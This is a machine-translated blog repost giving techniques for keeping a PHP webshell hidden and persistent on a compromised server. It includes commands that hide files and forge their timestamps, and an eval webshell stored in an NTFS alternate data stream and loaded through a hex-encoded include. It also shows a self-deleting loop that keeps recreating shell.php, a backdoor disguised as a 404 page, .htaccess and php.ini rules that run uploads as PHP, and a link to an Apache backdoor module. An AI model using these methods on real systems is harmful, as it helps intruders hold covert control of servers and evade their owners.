当前位置:网站首页>PHP backdoor hiding skills
PHP backdoor hiding skills
2020-11-06 22:33:00 【Official account Bypass】
If you want your own Webshell Stay longer , except Webshell Don't kill , There are also some hidden techniques to be aware of , Like hiding files , Modify time properties , Hide file contents, etc .
1、 Hidden files
Use Attrib +s +a +h +r The command is to add system file properties to the original folder 、 Archive properties 、 Read only file properties and hidden file properties .
attrib +s +a +h +r shell.php // hide shell.php file
2、 Modify the file time attribute
When you try to hide your newly created files in a bunch of files , that , In addition to creating a confusing file name , You also need to change the revision date of the file .
// Modification time modification
Set-ItemProperty -Path 2.txt LastWriteTime -Value "2020-11-01 12:12:12"
// The visit time was modified
Set-ItemProperty -Path 2.txt LastAccessTime -Value "2020-11-01 12:12:12"
// Creation time modification
Set-ItemProperty -Path 2.txt CreationTime -Value "2020-11-01 12:12:12"
Use the command to get the file properties
Get-ItemProperty -Path D:\1.dll | Format-list -Property * -Force
Modify the creation and modification time of all files in a folder
powershell.exe -command "ls 'upload\*.*' | foreach-object { $_.LastWriteTime = Get-Date ; $_.CreationTime = '2018/01/01 19:00:00' }"
3、 utilize ADS Hide file content
On the server echo A data stream file goes in , such as index.php It's a normal web page file , We can do it like this :
echo ^<?php @eval($_POST['chopper']);?^> > index.php:hidden.jpg
This creates an invisible shell hidden.jpg, Regular file manager 、type command ,dir command 、del The order couldn't find that hidden.jpg Of .
utilize include function , take index.php:hidden.jpg Conduct hex code , Put this ADS file include go in , In this way, we can analyze our sentence normally .
<?php @include(PACK('H*','696E6465782E7068703A68696464656E2E6A7067'));?>
4、 The undead horse
The undead horse will delete itself , Loop to create hidden backdoors in the form of processes .
<?php
set_time_limit(0);
ignore_user_abort(1);
unlink(__FILE__); // Delete yourself
while(1)
{
file_put_contents('shell.php','<?php @eval($_GET[cmd]);?>'); // establish shell.php, It's better to use the sentence of no killing here
sleep(10); // Time interval between
}
?>
The simplest and most effective way to deal with it , Restart the service and delete it webshell file .
5、 Middleware back door
Will be compiled so File copy to modules Folder , Start the back door module , restart Apache. When sending a string past for a specific parameter , Can trigger the back door .
github Project address :
https://github.com/VladRico/apache2_BackdoorMod
6、 utilize 404 Page hidden back door
404 The page is mainly used to enhance the user experience , Can be used to hide backdoor files .
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
</body></html>
<?php
@preg_replace("/[pageerror]/e",$_POST['error'],"saft");
header('HTTP/1.1 404 Not Found');
?>
7、 utilize .htaccess Document composition PHP back door
commonly .htaccess It can be used to leave backdoors and bypass blacklists , Create... In the upload directory .htaccess File is written to , It doesn't need to be restarted to take effect , Upload png File parsing .
AddType application/x-httpd-php .png
in addition , stay .htaccess Join in php Parsing rules , Include the file name with 1 Analysis into php, Upload 1.txt It can be parsed .
<FilesMatch "1">
SetHandler application/x-httpd-php
</FilesMatch>
8、 utilize php.ini Hide backdoor files
php.ini You can specify the name of the file that will be automatically resolved before and after the execution of the main file , Commonly used in the common header and tail of a page , It can also be used to hide php back door .
; stay PHP Automatically add files before documents .
auto_prepend_file = "c:\tmp.txt"
; stay PHP Automatically add files after the document .
auto_prepend_file = "c:\tmp.txt"
Need to restart the service to take effect , Visit any one of php File is available webshell.
This article is from WeChat official account. - Bypass(Bypass--).
If there is any infringement , Please contact the [email protected] Delete .
Participation of this paper “OSC Source creation plan ”, You are welcome to join us , share .
版权声明
本文为[Official account Bypass]所创,转载请带上原文链接,感谢
边栏推荐
- 如何才能快速正确的部署甘特图
- [graffiti Internet of things footprints] panoramic introduction of graffiti cloud platform
- 2020-08-15: under what circumstances should data tasks be optimized?
- [learning] interface test case writing and testing concerns
- 10000! Ideal car recalls all defective cars: 97 accidents have occurred and losses will be expanded
- Introduction to Huawei cloud micro certification examination
- New features of vue3
- 条形码识别器Dynamsoft Barcode Reader v7.5全新上线!
- ImageMagick - add watermark
- Countdown | 2020 PostgreSQL Asia Conference - agenda arrangement of Chinese sub Forum
猜你喜欢
How to manage the authority of database account?
List to map (split the list according to the key, and the value of the same key is a list)
小程序商城系统插件代码该如何写?怎么用代码检查添加插件是否成功?
JS array the usage of array is all here (array method reconstruction, array traversal, array de duplication, array judgment and conversion)
[elastic search engine]
Code generator plug-in and creator preform file analysis
Reserved battery interface, built-in charge and discharge circuit and electricity meter, quickly help easily handle hand-held applications
NAND FLASH的接口控制设计
How to write plug-in code of small program mall system? How to use code to check whether the plug-in is successfully added?
Erd-online free online database modeling tool
随机推荐
2020 database technology conference helps technology upgrade
高速公路二维码定位报警系统
ado.net and asp.net The relationship between
How does LeadTools detect, read and write barcodes
PHP后门隐藏技巧
Jenkins installation and deployment process
A concise tutorial for Nacos, ribbon and feign
插件Bilibili新版0.5.5
Nonvolatile MRAM memory used in all levels of cache
8.Swarm创建维护和水平扩展Service
心理咨询app开发所具备的优点与功能
C calls SendMessage to refresh the taskbar icon (the icon does not disappear at the end of forcing)
Detailed software engineering -- the necessary graphs in each stage
测试攻城狮必备技能点!一文带你解读DevOps下的测试技术
非易失性MRAM存储器应用于各级高速缓存
win7 APPCRASH(解决方法)(转)
New features of vue3
Cloudquery v1.2.0 release
How to use Gantt chart layers and filters
小熊派开发板实践:智慧路灯沙箱实验之真实设备接入